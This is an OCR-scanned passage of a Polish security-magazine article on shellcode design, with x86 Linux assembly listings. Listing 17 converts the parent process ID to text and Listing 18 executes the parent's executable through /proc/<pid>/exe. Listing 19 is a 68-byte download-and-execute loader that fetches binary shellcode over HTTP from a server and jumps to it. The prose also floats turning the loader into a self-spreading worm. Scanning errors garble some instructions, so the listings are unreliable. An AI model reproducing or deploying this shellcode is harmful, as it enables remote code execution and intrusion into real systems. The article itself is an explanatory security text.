uzytkownicy sg w stanie w petni
dopasowa¢ jg w odniesieniu do
wtasnych potrzeb i preferenciji.
Zjawisko kustomizacji jest rowniez
prawie zawsze spotykane w przy-
padku systemoéw osadzonych oraz
dedykowanych.

Podazam za rodzicem!
Sprawdzanie w czasie wykonania,
ktéra powtoka jest dostepna, daje
kodowi powtoki szanse na obejscie
problemu zwigzanego z kustomi-
zacjg. Jednym ze sposobow, ktére
mozna w tym celu wykorzystaé
(w odniesieniu do systemu Linux)
jest przegladanie hierarchii proce-
sow. Jesli przyjrzymy sie blizej tej
hierarchii to zauwazymy pewng
prawidtowos¢ — otéz dla zakresow
gtebokosci od 0 do 3 proces ma-
cierzysty jest zazwyczaj powtoka.
Jedynym wyjatkiem odnos$nie tej
reguty jest proces initd, ktéry uru-
chamia samo jadro.

Do sprawdzenia kto jest ro-
dzicem kodu powtoki wystarczy
proste wywotanie getppid(), ktére
zwroci identyfikator PID jego pro-
cesu macierzystego. Identyfikator
ten jest kluczem, ktorego kod
powtoki uzyje p6zniej w celu zba-
dania wpisu /proc powigzanego ze
swoim rodzicem. Wpis ten zwiera
informacje na temat Sciezki pliku
wykonywalnego oraz argumentéw
wywotania przekazanych przy je-
go uruchomieniu. Domyslnie wpis
ten jest dostepny dla kazdego pro-
cesu (Listing 16).

Funkcja getppid () zwraca
wartos¢ bedaca liczbg catkowitg
(ang. integer). Do naszych celow
wartos¢ te trzeba bedzie prze-
ksztatci¢ do postaci ASCI. Potrze-
ba ta wynika z faktu, iz zwrécony
PID misi by¢ wstawiony do napisu
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okreslajacego Sciezke (np. /proc/
<pid>/exe). Sciezka ta okresla
plik wykonywalny macierzystego
procesu (Listing 17.). Majac wartosc¢
getppid () W postaci ASCII pozostaje
jedynie przekazac¢ jg do wywotania
systemowego execve ().

W rezultacie otrzymalismy dos$¢
uogolniony program do uruchamia-
nia powioki, gdzie jedyng zabitg na
state wartoscia jest napis /proc, ktory
w najblizszym czasie raczej sie nie
zmieni.

Jeszcze jedng kwestig nad ktorg
warto sie zastanowi¢ to problem
pojedynczo i wielowatkowych de-

Listing 16. Wpis domysiny

#
# Kto jest twoim rodzicem?
#
push $0x40
popl %eax
int $0x80

Listing 17. Przeksztatcenie
funkcji getppid() do postaci
ASCI

#
# Zamien INT na ASCII
#
_convert:
decl %esp
cdg
pushl $0xa
popl %ebx
divl %ebx
addb $0x30, %dl
movb %dl, (%esp)
testl %eax, %eax
jnz _convert
cdg

Listing 18. Wywoftanie
systemowe execve()

#
# Uruchom [/proc/<pid>/exe]
#
popl %ebx
pushl %edx
pushl $0x6578652f
pushl %ebx
pushl $0x2£636£72
pushl $0x702f2f2f
movb $0xb, %al
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
int $0x80
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monow. Aby zastosowa¢ omawiang
metode dla proceséw powstatych
na bazie fork()-owania nalezatoby
zastosowac rekurencyjng procedure
przetwarzania drzewa rodzicow.
W przypadku demondéw jednowat-
kowych potrzeba taka nie wystepuje.
Kod powtoki pokazany powyzej od-
nosi sie wtasnie do demonow jedno-
watkowych.

Ewolucja kontra
Ograniczenia

Rézne scenariusze ataku narzuca-
ja rézne ograniczenia: na przyktad
poszczegodlne protokoty operujg na
buforach o réznej dtugosci itd. Z te-
go wzgledu kody powtoki powinny
mie¢ mozliwos¢ dopasowania sie
do otaczajgcego je aktualnie srodo-
wiska. Najbardziej popularne ogra-
niczenie zwigzane jest z limitem
wielkosci kodu. Istnieje oczywista
korelacja pomiedzy poziomem
funkcjonalnosci kodu powtoki a je-
go wielkoscig. Z logicznego punktu
widzenia, im bardziej ztozona jest
wspomniana funkcjonalno$¢, tym
wiecej bedzie potrzeba kodéw ope-
racji w celu jej zaimplementowania.
Aby méc budowac bardziej sprytne
i zaawansowane rozwigzania pro-
blem wielkosci musi by¢ przezwy-
ciezony. W innym przypadku nasz
super-inteligentny  kod  powtoki
bedzie odrzucony na poziomie pro-
tokotu i cata nasza praca pdjdzie
na marne.

Podziat na fazy

Dzielenie kazdej logicznej opera-
cji na mniejsze zadania pozwala
tworzy¢ potoki. Ta ogdlna zasada
dziata réwnie dobrze w odniesieniu
do kodow powtoki. Jesli kod taki
nie moze przeprowadzi¢ petnego
ataku jednorazowo, to powinien
by¢ pobrany przez inny, mniejszy
kod powtoki. W tej sytuacji, zamiast
budowania jednego kodu powtoki,
ktory robi wszystko naraz, warto
podzieli¢ funkcjonalnos¢ na gtow-
ng logike oraz jej wczytywanie.
Za wczytywanie bedzie odpowia-
dat mniejszy kod powtoki ktorego
podstawowym zadaniem bedzie
uruchomienie kodu docelowego.
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Majac taki zewnetrzny loader mo-
zemy wczytywac wieksze i bardziej
zaawansowane kody powtoki nie
martwigc sie o ich rozmiar.

Listing 19 przedstawia przy-
ktadowy loader. Potrafi on pobrac¢
binarny kod powtoki z zadanego
URL a nastepnie wpisa¢ go do
bufora i wykonaé¢ do niego skok.
Po skréceniu kod loadera zajmuje
jedynie 68 bajtéw, aczkolwiek mimo
to potrafi komunikowac sie z dowol-
nym serwerem HTTP dziatajgcym
na bazie protokotow HTTP/1.0
oraz HTTP/1.1. Pobrany kod jest
dla odmiany wolny od jakichkolwiek
limitow (na przyktad dtugosci czy
zakazu wystepowania znaku nuLry).
Oczywiscie sam loader tym limitom
nadal podlega.

Prezentowane podejscie moze
by¢ bardzo przydatne przy automa-
tyzacji testéw penetracyjnych. Dla
przyktadu, mozna by sie pokusi¢
o niewielki serwer, ktory bedzie
wychwytywat potwierdzenia o uda-
nych wtamaniach do systeméw na
zasadzie obserwowania zadan
wysytanych przez loader. Po wpro-
wadzeniu kilku modyfikacji loader
mogtby zbieraé i wysytaé informacje
identyfikacyjne na temat atakowa-
nego systemu dzieki czemu serwer
mogtby wybrac¢ i odesta¢ kod powto-
ki najbardziej adekwatny do zadane;j
konfiguracji. Rozwijajgc te koncep-
cje mozna by réwniez zaimplemen-
towa¢ samo-rozprzestrzeniajgcego
sie robaka.

W przypadku tego konkretnego
kodu powtoki zastosowatem narze-
dzie zwane gen_httpreq.c, ktére po-
zwala fatwo wygenerowa¢ na bazie
zadanego URL napis zawierajacy
zgdanie HTTP.

Podsumowanie

W powyzszym tekscie pokazatem
pewne czynniki oraz przeszkody
wptywajgce na strukture i sposéb
dziatania kodow powtoki. Niejako
z definicji temat nie zostat wy-
czerpany, jako ze kody powioki to
technologia ciggle ewoluujgca. Cel
tej ewolucji jest za to niezmienny:
przeprowadza¢ udane ataki bez by-
cia zauwazonym.
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Listing 19. Przyktadowy loader

#

# (x86/linux) HTTP/1.x GET,
Pobieranie i wywolywanie
operacji JMP - 68+ bajtoéow

# - izik@tty64.org

#

.section .text
.global _start

_start:

push $0x66

popl %eax

cdg

pushl $0x1

popl %ebx

pushl %edx

pushl %ebx

pushl $0x2

movl %esp, %ecx

int $0x80

popl %ebx

popl %ebp

movl $0xfeffff80, %esi

movw $0x1£91, S$bp

#

# nie %bp, dla numerdéw portédw

< 256

#

notl %esi

pushl %esi

bswap %ebp

orl %ebx, %ebp

pushl %ebp

incl %ebx

pushl $0x10

pushl %ecx

pushl %eax

movb $0x66, %al

movl %esp, %ecx

int $0x80

_gen_http request:

#

# < wykorzystaj gen httpreq.c,
w celu wygenerowania
zadania HTTP GET. >

#

_gen_http eof:

movl %esp, %ecx

_send_http request:

movb $0x4, %al

int $0x80

_recv_http request:
movb $0x3, %al

pushl $0x1

popl %edx

int $0x80

incl %ecx

testl %eax, %eax

jnz _recv http request
_Jjmp_to_code:

subl $0x6, %ecx

jmp *%ecx




